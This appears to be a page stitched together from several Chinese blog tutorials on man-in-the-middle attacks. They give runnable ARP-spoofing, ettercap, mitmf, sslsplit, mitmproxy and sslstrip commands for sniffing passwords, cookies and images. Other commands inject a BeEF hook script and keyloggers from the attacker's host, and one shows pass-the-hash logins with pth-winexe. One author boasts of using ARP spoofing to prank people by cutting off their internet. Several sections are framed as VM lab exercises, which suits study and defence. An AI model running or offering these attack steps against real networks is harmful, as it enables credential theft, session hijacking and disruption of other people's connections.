精华内容
下载资源
问答
  • 中间人攻击

    2020-11-23 12:20:38
    title: 中间人攻击 tags: 教程 author: caijinbo date: 2020-1-1 中间人攻击 概念 中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者...

    title: 中间人攻击
    tags: 教程
    author: caijinbo
    date: 2020-1-1

    中间人攻击

    概念

    中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间,这台计算机就称为“中间人”。

    中间人攻击(Man-in-the-Middle Attack, MITM)是一种由来已久的网络入侵手段,并且当今仍然有着广泛的发展空间,如SMB会话劫持、DNS欺骗等攻击都是典型的MITM攻击。简而言之,所谓的MITM攻击就是通过拦截正常的网络通信数据,并进行数据篡改和嗅探,而通信的双方却毫不知情。
    随着计算机通信网技术的不断发展,MITM攻击也越来越多样化。最初,攻击者只要将网卡设为混杂模式,伪装成代理服务器监听特定的流量就可以实现攻击,这是因为很多通信协议都是以明文来进行传输的,如HTTP、FTP、Telnet等。后来,随着交换机代替集线器,简单的嗅探攻击已经不能成功,必须先进行ARP欺骗才行。如今,越来越多的服务商(网上银行,邮箱登陆)开始采用加密通信,SSL(Secure Sockets Layer 安全套接层)是一种广泛使用的技术,HTTPS、FTPS等都是建立在其基础上的。

    工具与条件

    1.kali系统(本次实验系统)
    2.局域网内
    3.本次实验只是普通的中间人攻击,纯属娱乐一下

    步骤

    第一步:扫描网段内存活的主机

    fping -g -r 0 -s 192.168.1.0/24 | grep alive
    

    在这里插入图片描述
    第二步:查看ip_forward的状态

    cat /proc/sys/net/ipv4/ip_forward
    

    默认是0
    如果不是0,则修改成0,0代表不转发流量,1代表转发流量。

    echo 0 > /proc/sys/net/ipv4/ip_forward
    

    第三步:使用arpspoof进行双向欺骗
    安装arpspoof:

    sudo apt-get install dsniff ssldump
    

    进行双向欺骗:
    开两个终端,一个终端执行下面的一条指令。
    arpspoof -i eth0 -t 192.168.1.127 192.168.1.1
    arpspoof -i eth0 -t 192.168.1.1 192.168.1.127

    此时,192.168.1.127这台设备应该是不能正常上网了。

    我就是喜欢用这招来耍人,让他们上网上网就断网了,还找不到什么原因。

    第四步:进行端口转发

    echo 1 > /proc/sys/net/ipv4/ip_forward
    

    第五步:进行图片嗅探

    driftnet -i eth0
    

    第六步:嗅探登录密码http协议

    ettercap -Tq -i eth0
    
    展开全文
  • Kali Linux渗透测试 108 中间人攻击

    千次阅读 2018-04-05 22:00:52
    1. 中间人攻击1. mitmf 简介即使没有XSS漏洞,也可以凌空向每个HTTP请求中注入XSS攻击代码 一旦得手,影响范围巨大 如果中间人发生在运营商线路上,很难引起用户注意 曾经号称最好用的中间人攻击

    本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

    Kali Linux渗透测试(苑房弘)博客记录

    1. 中间人攻击


    1. mitmf

    1. 简介

      • 即使没有XSS漏洞,也可以凌空向每个HTTP请求中注入XSS攻击代码
      • 一旦得手,影响范围巨大
      • 如果中间人发生在运营商线路上,很难引起用户注意
    2. 曾经号称最好用的中间人攻击工具(kali 2.0后默认未安装)

      # 安装环境
      root@kali:~# apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
      
      # 安装 mitmf
      root@kali:~# apt-get install mitmf
      root@kali:~# pip uninstall Twisted
      root@kali:~# wget http://twistedmatrix.com/Releases/Twisted/15.5/Twisted-15.5.0.tar.bz2
      root@kali:~# pip install ./Twisted-15.5.0.tar.bz2 
      
    3. 启动beef

      • cd /usr/share/beef-xss/
      • ./beef
    4. mitmf 中间人注入xss脚本

      # 作为中间人连接网页并插入 js
      root@kali:~# mitmf --spoof --arp -i eth0 --gateway 10.10.10.2 --target 10.10.10.133 --inject --js-url http://10.10.10.131:3000/hook.js
      


    5. 键盘记录器

      # 键盘记录器 --jskeylogger
      root@kali:~# mitmf --spoof --arp -i eth0 --gateway 10.10.10.2 --target 10.10.10.133 --jskeylogger
      
    6. 其他模块

      # 图片:--upsidedownternet、--screen(/var/log/mitmf)
      root@kali:~# mitmf --spoof --arp -i eth0 --gateway 10.10.10.2 --target 10.10.10.133 --upsidedownterne
      # cookie:--ferretng(cookie)
      root@kali:~# mitmf --spoof --arp -i eth0 --gateway 10.10.10.2 --target 10.10.10.133 --ferretng
      # 浏览器及插件信息: --browserprofiler
      # smb:--smbtrap、--smbauth(不演示)
      
    7. 旁路 –hsts

      • HTTP Strict Transport Security
      • 防止协议降级、cookie窃取
      • 安全策略通过HTTP响应头 “Strict-Transport-Security“实施
      • 限制 user-agent、https 等
    8. 凌空插后门 –filepwn

      • 用户下载的可执行程序在经过代理的时候,会被插入后门

    2. ettercap

    1. 简介

      • 统一的中间人攻击工具
      • 转发 MAC 与本机相同,但 IP 与本机不同的数据包
      • 支持 SSH1、SSL 中间人攻击
    2. 模块划分

      • Snifer
        • 负责数据包转发
        • Unified
          • 单网卡情况下独立完成三层包转发
          • 始终禁用内核 ip_forward 功能
        • Bridge
          • 双网卡情况下的一层 MITM 模式
          • 可作为 IPS 过滤数据包
          • 不可在网关上使用(透明网桥)
      • MITM

        • 把流量重定向到 ettercap 主机上
        • 可以使用其他工具实现 MITM,ettercap 只作嗅探和过滤使用
        • 实现MITM的方法
          • ARP
          • ICMP
            • ICMP路由重定向,半双工
          • DHCP
            • 修改网关地址,半双工
          • Switch Port Stealing
            • flood目标地址是本机,源地址是受害者的包
            • 适用于ARP静态绑定的环境
          • NDP
            • IPv6协议欺骗技术
      • Filter

      • Log
      • Plugin
    3. 特性

      • 2.4以上内核对ARP地址欺骗的约束
        • 收到非请求的 ARP 响应包,不更新本地 ARP 缓存
        • Ettercap 使用ARP request 包进行攻击
      • Solaris 不根据ARP包更新本地ARP缓存
        • Ettercap 使用先发 ICMP 包来更新 ARP 缓存
    4. 用户操作界面

      • -T 文本界面图形
      • -G 界面
      • -C 基于文本的图形界面
      • -D 后台模式
    5. 指定目标

      • IPv4:MAC/IPs/Ports
      • IPv6:MAC/IPs/IPv6/Ports
      • /10.0.0.1−5;10.0.1.33/20−25,80,110
    6. 权限

      • 需要root权限打开链路层Socket连接,然后使用nobody账号运行
      • 日志写入目录需要nobody有写入权
      • 修改etter.conf:EC_UID=65534
    7. 基于伪造证书的SSL MITIM

      • Bridge模式不支持SSL MITM
      • openssl genrsa −out etter.ssl.crt 1024
      • openssl req −new−keyetter.ssl.crt −out tmp.csr
      • openssl x509 −req −days 1825 −in tmp.csr −signkey etter.ssl.crt−out tmp.new
      • cat tmp.new>>etter.ssl.crt
      • rm −f tmp.newtmp.csr
    8. ARP 中间人攻击

      • 字符模式(arp 欺骗)
        • ettercap -i eth0 -T -M arp -q /10.10.10.2// /10.10.10.133// -F 1.ef -P autoadd -w a.cap -l loginfo -L logall -m message
      • 图形界面
      • SSL MITM
        # 启用基于 SSL 的中间人攻击
        vim /etc/ettercap/etter.conf

      • DNS欺骗

        • dns_spoof插件配置文件
        • vi /etc/ettercap/etter.dns
    9. Ettercap 日志查看

      • etterlog -p log.eci
      • etterlog -c log.ecp
      • etterlog -c -f /1.1.1.1/ log.ecp
      • etterlog -B -n -s -F TCP:1.1.1.1:20:1.1.1.2:1234 log.ecp > aa 选择相应的连接并榨取文件
    10. Filter

      • /usr/share/ettercap/
      • /usr/share/ettercap/etter.filter.ssh
    11. SSH-2.xx / SSH-1.99 / SSH-1.51

      • SSH-1.99 代表兼容 ssh-2 和ssh1,可以使用 Filter 来只使用 ssh-1,利于监听
      • etterfilter etter.filter.ssh -o ssh.ef
    12. 替换HTTP内容

      if (ip.proto == TCP && tcp.src == 80)
      { msg(“data on TCP 80\n”);
      replace(“img src=”, “img src=\”http://1.1.1.1/1.gif\” “);
      replace(“IMG src=”, “img src=\”http://1.1.1.1/1.gif\” “);
      replace(“IMG SRC=”, “img src=\”http://1.1.1.1/1.gif\” “);
      }

    13. 其他欺骗

      • ICMP
        • -M icmp:00:11:22:33:44:55/10.0.0.1(真实网关的MAC/IP)
      • DHCP
        • −M dhcp:192.168.0.30,35,50−60/255.255.255.0/192.168.0.1(DNS)
      • Port
        • -M port /1.1.1.1/ /1.1.1.2/
      • Ndp
        • -M ndp //fe80::260d:afff:fe6e:f378/ //2001:db8::2:1/ -

    2. Pass the Hash (PTH)

    1. 简介

      • 密码破解耗费时间资源巨大
      • 使用密文提交给服务器直接完成身份认证
      • NTLM/LM是没有加盐的静态HASH密文
      • 企业中使用ghost等工具克隆安装系统
      • pth-winexe -U w7%aad3b435b51404eeaad3b435b51404ee:ed1bfaeb3063 716ab7fe2a11faf126d8 //1.1.1.1 cmd
    2. 获取 win7 HASH 值

      • 使用 kali live iso 登录win7

      • nc 传输

        kali:nc -nvlp 333
        win7:nc 10.10.10.131 333
        结果:John:1000:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
        
    3. kali 使用 密文直接登录

      root@kali:~# pth-winexe -U John%aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 //10.10.10.133 cmd
      
    展开全文
  • Kali Linux渗透测试 104 SSL 中间人攻击

    千次阅读 2018-03-26 23:08:39
    本文记录 Kali Linux 2018.1 学习使用...1. SSL 中间人攻击 攻击者未与客户端和服务器通信链路中ARP DHCP 修改网关 修改 dns 修改 hosts ICMP、STP、OSPF 攻击过程 攻击的前提客户端已经信任伪造证书颁发机构 攻击者控

    本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

    Kali Linux渗透测试(苑房弘)博客记录

    1. SSL 中间人攻击
    2. sslsplit
    3. Mitmproxy
    4. sslstrip
    

    1. SSL 中间人攻击


    1. 攻击者未与客户端和服务器通信链路中

      • ARP
      • DHCP
      • 修改网关
      • 修改 dns
      • 修改 hosts
      • ICMP、STP、OSPF
    2. 攻击过程

    3. 攻击的前提

      • 客户端已经信任伪造证书颁发机构
      • 攻击者控制了合法证书颁发机构
      • 客户端控制了合法证书颁发机构
      • 客户端程序禁止了显示证书错误告警信息
      • 攻击者已经控制了客户端,并强制其信任伪造证书

    2. sslsplit


    1. 简介

      • 透明SSL中间人攻击工具
      • 对客户端伪装成服务器,对服务器伪装成普通客户端
      • 伪装服务器需要伪造证书,需要现在本地生成伪造证书
      • 支持 SSL 加密的 SMTP、POP3、FTP等通信中间人攻击
    2. 利用openssl 生成证书私钥

      root@kali:~# openssl genrsa -out ca.key 2048
          Generating RSA private key, 2048 bit long modulus
          ............................................+++
          ...+++
          e is 65537 (0x010001)
      
    3. 利用私钥签名生成证书

      root@kali:~# openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
          You are about to be asked to enter information that will be incorporated
          into your certificate request.
          What you are about to enter is what is called a Distinguished Name or a DN.
          There are quite a few fields but you can leave some blank
          For some fields there will be a default value,
          If you enter '.', the field will be left blank.
          -----
          Country Name (2 letter code) [AU]:CN
          State or Province Name (full name) [Some-State]:jilin   
          Locality Name (eg, city) []:changchun
          Organization Name (eg, company) [Internet Widgits Pty Ltd]:alibaba
          Organizational Unit Name (eg, section) []:ali
          Common Name (e.g. server FQDN or YOUR name) []:alibaba
          Email Address []:123456@163.com
      
    4. 攻击者开启路由功能

      root@kali:~# vim /etc/sysctl.conf
      net.ipv4.ip_forward=1

    5. 配置 iptables 规则

      # 查看规则
      root@kali:~# iptables -t nat -L -n
      
      # 清空规则
      root@kali:~# iptables -t nat -F
      
      # 查看 80 和 443 端口是否有占用
      root@kali:~# netstat -tulnp | grep 80
      root@kali:~# netstat -tulnp | grep 443
      
      # 编写规则
      # PREROUTING:路由生效之前执行规则
      
      # 发给 80 端口的流量转发给 8080
      iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
      
      # 发给 443 端口的流量转发给 8443
      iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
      
      # MSA:邮件提交代理
      iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 
      
      # SMTPS:简单邮件传输
      iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 
      
      # IMAPS:接收邮件
      iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 
      
      # POP3S:邮件传输
      iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 
      
      iptables -t nat -L -n
      
    6. 查看被攻击者的机器

      IPv4 地址 . . . . . . . . . . . . : 10.10.10.133
      子网掩码  . . . . . . . . . . . . : 255.255.255.0
      默认网关. . . . . . . . . . . . . : 10.10.10.2
      DHCP 服务器 . . . . . . . . . . . : 10.10.10.254
      

    7. kali 实现 arp 欺骗

      # kali IP:10.10.10.131
      # kali MAC:00:0c:29:89:71:eb 
      
      # 向局域网广播,网关 10.10.10.2 的 MAC 地址为本机 的 MAC:0:c:29:89:71:eb
      root@kali:~# arpspoof -i eth0 -t 10.10.10.133 -r 10.10.10.2
      

    8. 启动 sslsplit 进行攻击

      • 创建目录

        root@kali:~# mkdir -p /root/test/logdir/

      • 侦听 8080 和 8443

        sslsplit -D -l connect.log -j /root/test -S /root/test/logdir -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

    9. 被攻击者访问 https 网站

      https://www.taobao.com
      




    10. 攻击者查看捕获的内容


    11. 被攻击者访问 163 邮箱

      https://mail.163.com/
      

      root@kali:~/test/logdir# grep 456456 *
      

      root@kali:~/test/logdir# grep password *
      

    12. 为了避免证书报错,可以安装根证书

      将生成的 cs.crt 拷贝到 被攻击者机器上
      


    13. 在此访问淘宝

      不再提醒证书错误
      

    3. Mitmproxy


    1. kali 实现 arp 欺骗

      # kali IP:10.10.10.131
      # kali MAC:00:0c:29:89:71:eb 
      
      # 向局域网广播,网关 10.10.10.2 的 MAC 地址为本机 的 MAC:0:c:29:89:71:eb
      root@kali:~# arpspoof -i eth0 -t 10.10.10.133 -r 10.10.10.2
      

    2. 防火墙规则

      # Mitmproxy 只支持在 8080 侦听
      iptables -t nat -F
      iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
      iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
      
    3. mitmproxy 启动

      mitmproxy -T --host -w mitmproxy.log
      
    4. 被攻击者登录

      https://mail.163.com/
      

    5. 攻击者

      root@kali:~# ll mitmproxy.log 
      -rw-r--r-- 1 root root 688868 3月  26 09:50 mitmproxy.log
      

    4. sslstrip


    1. 简介

      • 与前两种工具不同,将客户端到中阿金人之间的流量变为明文
      • sslstrip -l 8080
    2. kali 实现 arp 欺骗

      # kali IP:10.10.10.131
      # kali MAC:00:0c:29:89:71:eb 
      
      # 向局域网广播,网关 10.10.10.2 的 MAC 地址为本机 的 MAC:0:c:29:89:71:eb
      root@kali:~# arpspoof -i eth0 -t 10.10.10.133 -r 10.10.10.2
      

    3. 攻击者启动 sslstrip

      root@kali:~# sslstrip -l 8080
      sslstrip 0.9 by Moxie Marlinspike running...
      
    4. 查看日志

      root@kali:~# cat sslstrip.log 
      
    展开全文
  • 这是作者的网络安全自学教程系列,...本文将详细讲解中间人攻击或ARP欺骗攻击,从ARP原理到局域网配置进行描述,重点是让您对ARP欺骗和网络投毒攻击有一定认识。真心希望这篇基础文章对您有所帮助,也欢迎大家讨论。

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步。前文分享了一个phpMyAdmin 4.8.1版本的文件包含漏洞,从配置到原理,再到漏洞复现进行讲解。本文将带大家学习千峰教育老师的视频,详细讲解中间人攻击或ARP欺骗攻击,从ARP原理到局域网配置进行描述,重点是让您对ARP欺骗和网络投毒攻击有一定认识。真心希望这篇基础文章对您有所帮助,也欢迎大家讨论。

    作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作、视频学习的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,大神们不喜勿喷,谢谢!一起加油喔~

    PS:本文参考了B站(千峰教育史密斯老师 [峰哥])、安全网站和参考文献中的文章,主要是将视频内容结合自己的经验陈述成文字的形式供大家学习,希望大家能在安全路上一起前行,如果有侵权还请抱歉告知我删除,也非常推荐大家学习千峰教育的课程以及阅读参考文献,加油~

    下载地址:https://github.com/eastmountyxz/NetworkSecuritySelf-study

    前文学习:
    [网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
    [网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
    [网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
    [网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
    [网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
    [网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
    [网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
    [网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
    [网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
    [网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
    [网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
    [网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
    [网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
    [网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
    [网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
    [网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
    [网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
    [网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
    [网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
    [网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
    [网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
    [网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
    [网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
    [网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
    [网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
    [网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
    [网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
    [网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
    [网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
    [网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
    [网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
    [网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
    [网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
    [网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
    [网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
    [网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
    [网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识
    [网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
    [网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
    [网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)

    前文欣赏:
    [渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
    [渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
    [渗透&攻防] 三.数据库之差异备份及Caidao利器
    [渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包

    声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。


    一.中间人攻击相关知识

    中间人攻击(Man-in-the-Middle Attack,简称“MITM攻击”)是一种间接的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间,这台计算机就称为“中间人”。中间人攻击非常令人头疼,比较难避免,我们先分享基础知识及漏洞原理,再复现该攻击。

    注意:本文的实验绝对禁止在真实环境中去完成,作者将引用B站视频中虚拟机实验复现,未经授权的测试或攻击行为我们一律禁止。

    在这里插入图片描述


    实验目标:
    使用Kali系统模拟攻击者,利用中间人的攻击手段来获取Web服务器和FTP服务器的用户名与密码。换句话说,通过该攻击窃取别人的账号和密码。


    实验环境:
    这次实验会开三台虚拟机,一台XP系统、一台2003系统、一台Kali攻击机。

    • 虚拟机软件:VMware V12.0版本
    • 三台虚拟机:Windows XP(模拟客户机)、Windows Server 2003(模拟WEB及FTP服务器)、Kali(模拟攻击机)
    • Web站点素材
    • Ettercap软件

    漏洞简述:
    中间人攻击究竟是如何利用别人的漏洞去攻击对方的呢?
    中间人攻击中有两个受害者,中间人对他俩实施攻击,攻击结果是甲和乙的传输内容,它们都需要经过中间人,但是两人(甲和乙)却不知道。聊天内容被中间人截获,如果截获信息有用户名和密码,危害就会更大,而且中间人攻击不会损害甲方和乙方的通讯。


    基本流程:
    构建的拓扑图如下所示,首先开3台虚拟机,然后有1台交换机,这3台虚拟机都连接在这台交换机上,共同构成一个虚拟的局域网,来进行这个实验。我们的实验基本流程如下:

    • 第一步是构建整个局域网,并且配置好IP地址且能相互通讯(ping通)。
    • 第二步是将Windows 2003系统作为服务器(现实中也可以将该系统设置为服务器),包括Web或FTP服务器;接着将Windows XP系统设置为客户机,需要账号和密码登录。
    • 第三步是搭建Kali攻击机,之前是客户机和服务器直接通讯,现在是客户机发送的信息流经Kali机,再传至服务器。由于经过中间人,Kali机就可以监听客户机和服务器的通讯内容,甚至篡改数据。

    在这里插入图片描述


    首先给大家普及下网络的基础知识。

    网络基础:
    交换机只能组建局域网,想让员工上网,必须购买路由器;反过来,路由器没有组建局域网的能力,但它能让员工去联网。这里我们构建一个虚拟的内网通讯,所以不需要路由器,但需要交换机。如下图所示的局域网。

    在这里插入图片描述

    如果这个局域网想上网只需要连个路由器或猫,再连接互联网即可。由于大家的电脑IP地址都在同一个网段,所以大家就能进行通讯。

    在这里插入图片描述

    回归到这个局域网,我们开3台虚拟机(Windows 2003、Windows XP、Kali系统),然后需要这三台虚拟机构建一个局域网。



    二.ARP攻击浅析

    原理和操作同样重要,作者接下来将分享ARP攻击原理,也希望大家了解网络攻防背后的知识,更好地进行防御和保护。

    在这里插入图片描述


    1.VMware设置虚拟网络

    VMware软件在安装时会在电脑上内嵌一个虚拟交换机,理解为虚拟网络。选择虚拟机,点击右键,然后点击“设置”。

    在这里插入图片描述

    点击“网络适配器”,选择自定义“特定虚拟网络”,比如选择“VMnet2”,点击确定后,此时相当于这台虚拟机连接到了VMnet2虚拟网络中,我们称之为桥接

    在这里插入图片描述

    接着我们桥接其他两个虚拟机。VMNet0是真实机的交换机,VMNet1-VMNet19是虚拟的交换机。

    在这里插入图片描述

    如果想要虚拟机能上网,则是将它桥接到VMNet0即可,如下图所示。

    在这里插入图片描述



    2.ARP协议原理

    中间人攻击是利用ARP协议的漏洞。
    攻击和漏洞息息相关,如果不存在漏洞或漏洞被补上了,你就可能失败。因此,所有的攻击都不是百分之百成功的。如果你是白帽子,你的责任就是找到漏洞并补上。

    大家面试的时候经常会被询问“ARP协议原理是什么呢”?
    假设存在一个局域网,有三个人小杨(通讯甲方)、Eastmount(攻击者)、小娜(通讯乙方)0,三个地址分别如下,并且都有一个MAC地址。由于MAC地址比较长,这里设置为AA、BB、CC。

    在这里插入图片描述

    假设小杨需要给小娜发一句话“你真漂亮”,TCP/IP五层协议处理流程如下。首先应用层会发一句话 “你真漂亮”,传输层指定端口号(源端口和末端口),网络层封装IP包头(原始IP和目标IP)。

    在这里插入图片描述

    现在这个信息能发出去了吗?不能,因为这个数据包现在只停留在网络层,还得往数据链路层处理并找到网卡,网卡会在数据包前封装一个帧头和帧尾,封装目标MAC地址和原始MAC地址。

    在这里插入图片描述

    请问小杨知道小娜的MAC地址吗?答案是不知道。他只能知道IP地址,但无法知道其MAC地址。

    为什么要知道她的MAC地址呢?因为交换机会根据目标MAC地址来转发数据。交换机是第二层的设备,它不会检查数据,只会检查帧头,只认MAC地址,它存在一张MAC地址表(自动生成)。

    在这里插入图片描述

    现在小杨不知道小娜的MAC地址,他无法发送出去信息,它会将这个信息在网卡中缓存起来。接下来在网络层中有个协议——ARP协议

    ARP协议属于网络层协议,它会生成“我是10.1.1.1,我的MAC地址是AA,谁是10.1.1.3,你的MAC地址是多少?”这么一句话。ARP协议在网络层封装这个信息之后,会将这句话广播出去,让所有人都收到这个信息。此时,小杨网卡会封装一个帧头,设置为广播地址“FF”。

    在这里插入图片描述

    此时,交换机一看目标MAC地址是“FF”,然后它直接复制N份,向其他所有的端口发送数据。但Eastmount收到这个消息时,它会丢弃这个包,因为目标IP地址是10.1.1.3,和我无关。

    而小娜呢?会将目标MAC地址填上,她回复的时候如下图所示。ARP回应是单播,而不是广播,因为它知道是谁发过来的消息。填写地址“CC”之后,再单独将这个信息发送给小杨。

    在这里插入图片描述

    小杨收到这个信息之后,喜出望外,没有第一时间把这个填写过来,而是先建立一个ARP缓存表。为什么要建立这个缓存表呢?我不是只发一句话,而是成千上万个帧。但如果长时间不通讯时,这个表就会消失。提示一句,该漏洞就存在这个ARP缓存表中。

    在这里插入图片描述

    ARP协议总结:
    最终小娜收到了这个信息,ARP协议是已知IP,解析MAC地址。原理是:
    (1) 发送ARP广播请求
    (2) 发送ARP单播应答



    3.ARP攻击漏洞分析

    接着我们开始讲解中间人攻击原理知识,该漏洞点在ARP缓存表这里。突然,Eastmount站出来了,正常情况下Eastmount是不会反映的,但他的电脑上装了一个ARP攻击工具,它会向外发送假的伪装的ARP信息。

    小杨此时问“谁是10.1.1.3”,小娜回答“我是10.1.1.3,我的MAC地址是CC”,而Eastmount也回答“我是10.1.1.3,我的MAC地址是BB”。

    请问谁说的是正确的呢?小娜说的是正确的,而Eastmount是冒充的。小杨又会选哪个呢?ARP原理是后到达的被选,小娜先到,ARP缓存表中写“CC”,而此时Eastmount也到了,会瞬间修改为“BB”。所以说是最后到达的信息能被送达。

    在这里插入图片描述

    正常情况下小娜只回复一次,而Eastmount这个工具可以一秒钟回10次,而且每秒钟都回应,所以最后的结果是小杨那个ARP缓存表中一定是BB。

    接着小杨再向“10.1.1.3”多次发送信息,但MAC地址写的是BB,你以为给小娜,其实发到攻击者Eastmount那里了,因为交换机只检测MAC地址。Eastmount通过工具拦截信息,如果发送的是账号和密码,它也能够捕获。

    但此时小娜没有收到回应,Eastmount为了避嫌,将帧头“BB”修改为“CC”,再转发给小娜,小娜也作出相应的回应。最终导致小杨以为“10.1.1.3”是BB,小娜以为“10.1.1.1”是BB。Eastmount作为中间人窃取信息,这也称之为——ARP欺骗攻击

    在这里插入图片描述

    简单总结:
    该漏洞最大的问题是ARP协议每次使用后到达的,而不对每个应答作身份认证。换句话说,你没有办法检查这个应答的真伪,所以说你才使用最后达到的。这个协议开发出来很多年,为什么一直没有更新这个漏洞呢?因为ARP协议很难去验证哪个应答是真是假。ARP攻击也成为了企业最头疼的一种攻击之一。

    ARP攻击原理:
    攻击人通过发送虚假的ARP应答实现缓存投毒,而受害人没有办法进行身份真伪验证。



    三.ARP欺骗实验

    接着我们开始搭建环境并完成ARP欺骗实验。

    第一步,开启三台虚拟机(Win XP、Win 2003、Kali)。

    在这里插入图片描述

    打开虚拟机如下图所示:

    在这里插入图片描述

    比如Kali虚拟机:

    在这里插入图片描述

    这里作者使用“还原快照”,读者可以尝试自己配置环境。XP系统点击“还原快照”,点击“转到”即可。

    在这里插入图片描述

    2003系统选择服务器快照还原,FTP、WEB服务器。

    在这里插入图片描述



    第二步,配置IP地址。
    将三台虚拟机桥接到同一个虚拟网络中去。右键设置,点击“网络适配器”,选择“VMnet2”,三台虚拟机都桥接到该虚拟网络“VMnet2”中,这样三台虚拟机就成功连成了同一个局域网。

    在这里插入图片描述

    配置IP地址需要选中“网上邻居”,再右键“属性”,点击“本地连接”右键“属性”。

    在这里插入图片描述

    设置IP地址如下“10.1.1.1”,子网掩码设置为“255.255.255.0”。

    在这里插入图片描述

    接着登录Windows 2003服务器。

    在这里插入图片描述

    登录Kali系统。

    在这里插入图片描述

    小技巧1: 如果Kali窗口比较小,可以点击“查看”,选择“立即适应客户机”即可。

    在这里插入图片描述

    小技巧2: 打开控制台Terminal,如果字体太小,可以尝试按Ctrl+Shift+"加号"变大。

    在这里插入图片描述

    在Kali系统中输入命令配置IP地址,eth表示网卡名称。
    ifconfig eth0 10.1.1.2/24

    在这里插入图片描述

    然后尝试查看是否IP地址建立成功。Linux默认一直ping,如下图所示小杨是连接成功的。
    ping 10.1.1.1

    在这里插入图片描述

    接着尝试连接小娜的电脑。
    ping 10.1.1.3

    在这里插入图片描述

    到此,我们成功建立了如下图所示的虚拟局域网。
